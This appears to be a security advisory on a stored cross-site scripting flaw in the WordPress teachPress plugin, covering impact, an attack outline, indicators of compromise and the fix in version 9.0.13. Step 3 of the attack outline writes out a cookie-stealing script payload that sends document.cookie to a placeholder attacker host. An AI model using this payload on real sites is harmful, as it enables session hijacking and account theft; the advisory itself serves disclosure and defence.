CVE-2026-22353: 
WordPress vulnerability analysis and mitigation

CVE-2026-22353 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress teachPress plugin developed by winkm89. It affects all versions of teachPress up to and including 9.0.12, and was reported by researcher Muhammad Yudha - DJ on November 30, 2025, with public disclosure on January 22, 2026. The vulnerability was assigned a CVSS v3.1 base score of 6.5 (Medium) by Patchstack, the assigning CNA (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into the plugin's data fields, which are then persistently stored and rendered to other users visiting affected pages. Exploitation requires low attack complexity over a network vector, but does require user interaction from a privileged user to trigger the stored payload (Patchstack, NVD).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of users who visit affected pages. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and redirection to malicious sites. The changed scope in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress environment and its visitors (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale, regardless of site popularity (Patchstack).

1. Reconnaissance: Identify WordPress sites running the teachPress plugin version 9.0.12 or earlier using tools like WPScan or Shodan, or by checking the plugin version in publicly accessible readme files.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Navigate to a teachPress input field (e.g., publication entry, course, or related data field) and insert a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Store the payload: Submit the form to persist the malicious script in the WordPress database via the teachPress plugin.
5. Trigger execution: Wait for a privileged user (e.g., administrator) to visit the affected page, causing the stored script to execute in their browser, potentially stealing session cookies or performing actions on their behalf (Patchstack).

• Logs: WordPress access logs showing POST requests to teachPress plugin endpoints from low-privilege accounts containing encoded or obfuscated script tags (e.g., <script>, %3Cscript%3E, javascript:).
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in teachPress-related database tables (e.g., wp_teachpress_pub, wp_teachpress_courses).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with teachPress content, potentially indicating cookie or credential exfiltration.
• File System: Presence of newly created or modified PHP files in the teachPress plugin directory that were not part of the original installation.

The vulnerability is patched in teachPress version 9.0.13. Site administrators should update the plugin to version 9.0.13 or later immediately via the WordPress admin dashboard or by downloading the updated plugin from the WordPress plugin repository. If an immediate update is not possible, consider temporarily deactivating the teachPress plugin or restricting Contributor/Developer role access until the patch can be applied. Patchstack users can enable auto-update for vulnerable plugins as an additional mitigation layer (Patchstack).